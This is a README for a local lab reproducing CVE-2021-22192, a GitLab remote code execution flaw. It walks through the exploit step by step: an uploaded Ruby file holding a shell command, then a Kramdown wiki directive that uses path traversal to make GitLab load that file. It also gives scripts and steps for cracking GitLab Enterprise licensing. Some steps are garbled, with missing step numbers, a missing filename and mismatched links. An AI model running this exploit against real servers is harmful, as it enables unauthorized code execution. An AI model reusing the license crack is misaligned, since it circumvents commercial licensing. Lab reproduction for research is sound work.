CVE-2021-22192

CVE-2021-22192 Range: Unauthorized User RCE Vulnerability

0x10 Range Environment

0x20 Directory Structure

CVE-2021-22192
├── README.md ............... [This README]
├── imgs .................... [Images for README]
├── gitlab .................. [Gitlab container mount directory]
│   ├── Dockerfile .......... [Docker build file for Gitlab]
│   ├── config .............. [Gitlab config mount directory]
│   ├── data ................ [Gitlab data mount directory]
│   ├── logs ................ [Gitlab logs mount directory]
│   ├── keys ................ [Gitlab cracked License storage directory]
│   └── nginx ............... [Gitlab built-in nginx config directory (backup config, do not modify)]
├── runner .................. [Runner container mount directory]
├── license ................. [Container build directory for cracking License]
│   ├── Dockerfile .......... [Docker build file for License]
│   └── license.rb .......... [Ruby script to generate cracked License]
├── test .................... [Kramdown debug directory]
├── docker-compose.yml ...... [Docker build configuration]
├── keygen.ps1 .............. [Windows: One-click generate cracked License]
├── keygen.sh ............... [Linux:   One-click generate cracked License]
├── run.ps1 ................. [Windows: One-click run Gitlab range]
├── run.sh .................. [Linux:   One-click run Gitlab range]
├── register.ps1 ............ [Windows: One-click register Runner]
├── register.sh ............. [Linux:   One-click register Runner]
├── stop.ps1 ................ [Windows: One-click stop Gitlab range]
└── stop.sh ................. [Linux:   One-click stop Gitlab range]

0x30 Range Setup

0x31 Build

• The host machine must have docker and docker-compose installed.
• Download this repository: git clone https://github.com/lyy289065406/CVE-2021-22192
• Generate cracked key pair: ./keygen.sh or ./keygen.ps1
• Build and run Gitlab (ensure port 80 is not occupied): ./run.sh or ./run.ps1
• After about 5 minutes, you can log into Gitlab from the browser: http://127.0.0.1 (On first login, you need to reset the password for the admin account root)

0x32 Crack

When the cracked key pair was generated earlier, the public key was written to the Gitlab container background. You still need to upload the private key through the frontend to Gitlab to complete the crack:

• The key pair is generated in the ./gitlab/keys/ directory. Copy the content of .gitlab-license (the private key).
• Open the page http://127.0.0.1/admin/license/new as the root user.
• Select Enter license key, paste the private key, and click the Upload license button to complete the crack.

0x33 Set Runner

• Open the page http://127.0.0.1/admin/runners as the root user.
• Find and copy the registration token.
• Register the Runner: ./register.sh $TOKEN or ./register.ps1 $TOKEN

After this, all repositories can use this Runner to execute CI scripts (Pipeline Jobs).

0x34 Access Gitlab Pages

Assuming your Gitlab username is ${username} and repository name is ${repository_name}, after the repository has successfully built SSG with jekyll, you only need to access the following URL:

http://127.0.0.1:8000/${username}/${repository_name}/public/

0x40 Range Verification

For specific process, refer to hackerone.

1. Click the + -> New snippet at the top of any user.
2. Fill in Title arbitrarily. Click the Description (optional) input box, then click Attach a file, and upload a file named payload.rb with the following content:

puts "hello from ruby"
`echo exp was here > /tmp/exp`

At this point, a link to the file will be displayed in Description (optional), for example: [payload.rb](https://github.com/exp-docs/cve-2021-22192/blob/HEAD/uploads/-/system/user/1/b5e4fed771f26ef75700ebf763f489ab/payload.rb). Meanwhile, the file has been uploaded to the docker_gitlab container at /var/opt/gitlab/gitlab-rails/uploads/-/system/user/1/b5e4fed771f26ef75700ebf763f489ab/payload.rb. (Whether or not you click Create snippet is optional; you only need to remember the Hash in this file path.)

Note: Do not go through Snippet -> New snippet from the left sidebar of a repository, otherwise the displayed file path will become [payload.rb](https://github.com/exp-docs/cve-2021-22192/blob/HEAD/uploads/b5e4fed771f26ef75700ebf763f489ab/payload.rb), and the actual upload path in the docker_gitlab container will become /var/opt/gitlab/gitlab-rails/uploads/@hash/random_string/payload.rb. Because of the random string in the middle, it is difficult to exploit.

5. Click + New Project at the top. Name it arbitrarily (e.g., poc, or you can skip creating one and use an existing repository).
6. Click Wiki on the left, then click Create your first page.
7. Fill in Title and Content arbitrarily, then click Create page.
8. At this point, Gitlab will create a wiki repository for the current poc repository, named poc.wiki (click Clone repository in the upper right corner to find the clone command: git clone http://127.0.0.1/root/poc.wiki.git).
9. On the local terminal, execute the command git clone http://127.0.0.1/root/poc.wiki.git && cd poc.wiki to download the wiki repository locally.
10. Add a file named in the root directory of the wiki repository, with the following content (note that the Hash in the file path should be replaced with the Hash obtained earlier):

{::options syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Redis, driver: ../../../../../../../../../../var/opt/gitlab/gitlab-rails/uploads/-/system/user/1/b5e4fed771f26ef75700ebf763f489ab/payload.rb\}" /}
~~~ ruby
def what?
42
end
~~~

11. Execute the command to commit the file to Gitlab: git add -A . && git commit -m "page1.rmd" && git push
12. Go back to the Gitlab Wiki page, refresh it. You can see the locally created page1 page in the index bar on the right; click it.
13. After the page displays content, log into the docker_gitlab container. You can find that the file /tmp/exp has been created.

After clicking the page1.rmd page, you can see error information in gitlab/logs/gitlab-rails/exceptions_json.log, but this does not affect the command execution:

{
    "severity": "ERROR",
    "time": "2021-04-26T10:36:07.978Z",
    "correlation_id": "A24bByUP9L5",
    "tags.correlation_id": "A24bByUP9L5",
    "tags.locale": "en",
    "user.id": 1,
    "user.email": "[email protected]",
    "user.username": "root",
    "extra.project_id": 1,
    "extra.file_name": "page1.rmd",
    "exception.class": "NameError",
    "exception.message": "wrong constant name ../../../../../../../../../../var/opt/gitlab/gitlab-rails/uploads/-/system/user/1/b5e4fed771f26ef75700ebf763f489ab/payload.rb",
    "exception.backtrace": [
        "lib/gitlab/other_markup.rb:11:in `render'",
        "app/helpers/markup_helper.rb:274:in `other_markup_unsafe'",
        "app/helpers/markup_helper.rb:153:in `markup_unsafe'",
        "app/helpers/markup_helper.rb:138:in `render_wiki_content'",
        "app/views/shared/wikis/show.html.haml:25",
        "app/controllers/application_controller.rb:134:in `render'",
        "app/controllers/concerns/wiki_actions.rb:68:in `show'",
        "ee/lib/gitlab/ip_address_state.rb:10:in `with'",
        "ee/app/controllers/ee/application_controller.rb:44:in `set_current_ip_address'",
        "app/controllers/application_controller.rb:491:in `set_current_admin'",
        "lib/gitlab/session.rb:11:in `with_session'",
        "app/controllers/application_controller.rb:482:in `set_session_storage'",
        "app/controllers/application_controller.rb:476:in `set_locale'",
        "lib/gitlab/error_tracking.rb:50:in `with_context'",
        "app/controllers/application_controller.rb:541:in `sentry_context'",
        "app/controllers/application_controller.rb:469:in `block in set_current_context'",
        "lib/gitlab/application_context.rb:52:in `block in use'",
        "lib/gitlab/application_context.rb:52:in `use'",
        "lib/gitlab/application_context.rb:20:in `with_context'",
        "app/controllers/application_controller.rb:462:in `set_current_context'",
        "ee/lib/gitlab/jira/middleware.rb:19:in `call'"
    ]
}